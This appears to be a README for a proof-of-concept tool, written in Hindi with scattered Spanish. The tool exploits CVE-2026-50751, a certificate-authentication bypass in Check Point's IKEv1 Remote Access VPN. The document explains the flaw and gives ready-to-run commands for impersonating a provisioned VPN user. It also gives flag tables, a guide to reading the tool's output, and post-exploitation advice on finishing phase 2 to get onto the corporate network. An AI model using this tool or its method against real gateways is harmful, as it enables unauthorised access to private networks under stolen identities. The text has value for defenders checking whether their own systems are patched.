
Check Point की Remote-Access VPN (IKEv1) में प्रमाणपत्र प्रमाणीकरण बायपास।
Check Point की Remote-Access VPN (IKEv1) में प्रमाणपत्र-आधारित प्रमाणीकरण का बायपास।
CVE-2026-50751, Check Point की iked प्रक्रिया में एक प्रमाणीकरण बायपास है, जो hotfix sk185033 के बिना R81.10, R82 और R82.10 संस्करणों में मौजूद है। यह त्रुटि किसी भी provisioned Remote Access उपयोगकर्ता के रूप में निजी कुंजी, पासवर्ड और वैध प्रमाणपत्र के बिना प्रमाणित होने की अनुमति देती है।
संवेदनशील iked Vendor ID VPNExtFeatures से एक flag पढ़ता है (bit 0x4) और, यदि वह सक्रिय है, तो verify_peer_auth / verifyMessagePhase1 को छोड़ देता है। परिणामस्वरूप:
प्रमाणपत्र के हस्ताक्षर (स्वामित्व का प्रमाण) सत्यापित नहीं होते।
विश्वास श्रृंखला सत्यापित नहीं होती।
केवल यह जाँचा जाता है कि subject DN किसी provisioned उपयोगकर्ता में हल होता है।
एक स्व-हस्ताक्षरित प्रमाणपत्र बनाना पर्याप्त है जिसका CN= लक्ष्य उपयोगकर्ता से मेल खाता हो और उसे अमान्य हस्ताक्षर के साथ भेजना। यदि gateway फेज 1 स्वीकार करता है, तो हम उस उपयोगकर्ता के रूप में प्रमाणित हो चुके हैं (ISAKMP SA उसके DN के अंतर्गत सहेजा जाता है)।
यह IKE (UDP 500/4500) पर और Visitor Mode (TCPT, TCP 443) पर काम करता है।
सिंटैक्स
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|---|---|
-host | गेटवे का IP या होस्टनेम (अनिवार्य) | — |
-user | प्रतिरूपित करने के लिए RA उपयोगकर्ता नाम (अनिवार्य) | — |
-port | पोर्ट: 500, 4500 (UDP) या 443 (TCPT) | 500 |
-org | ICA का संगठन (O=)। यदि छोड़ा जाए, तो पोर्ट 443 पर गेटवे के TLS प्रमाणपत्र से प्राप्त किया जाता है | — |
-ou | उपयोगकर्ता के DN की संगठनात्मक इकाई (OU=)। यह उस OU से ठीक मेल खाना चाहिए जो Check Point उपयोगकर्ता के लिए संग्रहीत करता है | users |
-timeout | प्रति ऑपरेशन टाइमआउट (Go की कोई भी अवधि स्वीकार करता है: 6s, 500ms, 1m) | 6s |
-retries | यदि गेटवे पहले प्रयास में प्रतिक्रिया नहीं देता है तो msg1 के पुनःप्रयास | 1 |
-tcpt | Visitor Mode ट्रांसपोर्ट (TCP पर TCPT, TLS के बिना) को बाध्य करता है। यदि -port 443 हो तो स्वचालित रूप से सक्रिय हो जाता है | false |
-ouके बारे में नोट: डिफ़ॉल्ट मानusersहै, लेकिन व्यवहार में RA उपयोगकर्ता आमतौर पर किसी विशिष्ट समूह से संबंधित होता है (उदाहरण के लिएVPN_GROUP)। इसेmgmt_cli show user name "<usuario>" details-level "full" --format jsonसे जाँचें औरdistinguished-nameफ़ील्ड देखें। गलतOUके कारण गेटवे चुपचापmsg5को अस्वीकार कर देता है (NO_RESPONSEयाINCONCLUSIVE), क्योंकि यह DN को किसी भी प्रोविज़न किए गए उपयोगकर्ता से हल नहीं कर पाता।
O= की स्वचालित व्युत्पत्ति के साथ)sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim
Linux/macOS पर UDP पोर्ट 500 को स्रोत के रूप में bind करने के लिए आपको sudo की आवश्यकता होती है। यदि आप sudo का उपयोग नहीं कर सकते, तो PoC किसी ephemeral पोर्ट पर चला जाता है और कई gateway गैर-मानक source port के कारण पैकेट्स को अनदेखा कर देते हैं।
यह तब उपयोगी होता है जब gateway अपना TLS प्रमाणपत्र 443 पर उजागर नहीं करता, या जब स्वचालित रूप से प्राप्त O= प्रावधानित उपयोगकर्ता के O= से मेल नहीं खाता:
./cve-2026-50751 \
-host 203.0.113.10 \
-port 500 \
-user victim \
-org "gw-754bab.acme.s34394" \
-ou VPN_GROUP
-port 443 निर्दिष्ट करते ही स्वचालित रूप से सक्रिय हो जाता है:
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users
-tcpt के साथ स्पष्ट रूप से बाध्य (यदि गेटवे का Visitor Mode 443 के अलावा किसी अन्य पोर्ट पर सुन रहा हो):
./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"
आपकी मशीन और गेटवे के बीच NAT को पार करने के लिए। PoC पैकेट्स को RFC 3948 के NON-ESP मार्कर के साथ प्रीफ़िक्स करता है:
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"
धीमे लिंक या रेट लिमिटिंग वाले गेटवे में उपयोगी:
./cve-2026-50751 \
-host 203.0.113.10 \
-user victim \
-timeout 10s \
-retries 3 \
-org "ACME"
| आउटपुट | अर्थ | क्या करें |
|---|---|---|
[+] [BYPASSED] + आंतरिक IP | बायपास सफल रहा; IKEv1 SA को प्रतिरूपित उपयोगकर्ता के रूप में स्थापित किया गया | पोस्ट-एक्सप्लॉइटेशन अनुभाग देखें |
[-] [REJECTED] | गेटवे ने आपके msg5 को डिक्रिप्ट किया लेकिन प्रमाणीकरण अस्वीकार कर दिया | उपयोगकर्ता प्रोविज़न नहीं है, गलत OU, या गेटवे पैच किया गया है (sk185033) |
[-] [NO_CERT_REALM] | गेटवे Main Mode में प्रमाणपत्र प्रमाणीकरण प्रदान नहीं करता | गेटवे Certificate/Mixed मोड में नहीं है, या केवल IKEv2 स्वीकार करता है |
[-] [NO_RESPONSE] | msg1 पर कोई प्रतिक्रिया नहीं | फ़ायरवॉल UDP/500 को ब्लॉक कर रहा है, iked नहीं चल रहा है, या रेट लिमिटिंग |
[!] [INCONCLUSIVE] | कोई निर्णायक प्रतिक्रिया नहीं | कुछ मिनटों बाद पुनः प्रयास करें; tcpdump और iked लॉग जाँचें |
एक बार [BYPASSED] प्राप्त होने के बाद, PoC ने एक पूर्ण IKEv1 सुरक्षा संगठन (Security Association) स्थापित कर लिया है और गेटवे ने आपको Remote Access पूल से एक वर्चुअल IP आवंटित कर दिया है। गेटवे के दृष्टिकोण से, आप कॉर्पोरेट नेटवर्क के भीतर प्रतिरूपित उपयोगकर्ता हैं।
हालाँकि, PoC कोई उपयोगी डेटा टनल प्रदान नहीं करता (यह Quick Mode / IPsec ESP को लागू नहीं करता)। नेटवर्क में अपनी स्थिति का उपयोग करने के लिए चरण 2 पूरा करना होगा। यह निम्नलिखित तरीकों से किया जा सकता है:
strongSwan या OpenVPN मैनिपुलेबल प्रमाणपत्र के साथ: क्लाइंट को इस प्रकार कॉन्फ़िगर करें कि वह नकली DN वाले प्रमाणपत्र का उपयोग करे और बायपास के बाद Quick Mode पर बातचीत करे। इसके लिए VID इंजेक्ट करने और क्लाइंट-साइड हस्ताक्षर सत्यापन को छोड़ने के लिए फ़्लो को संशोधित करना आवश्यक है।Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │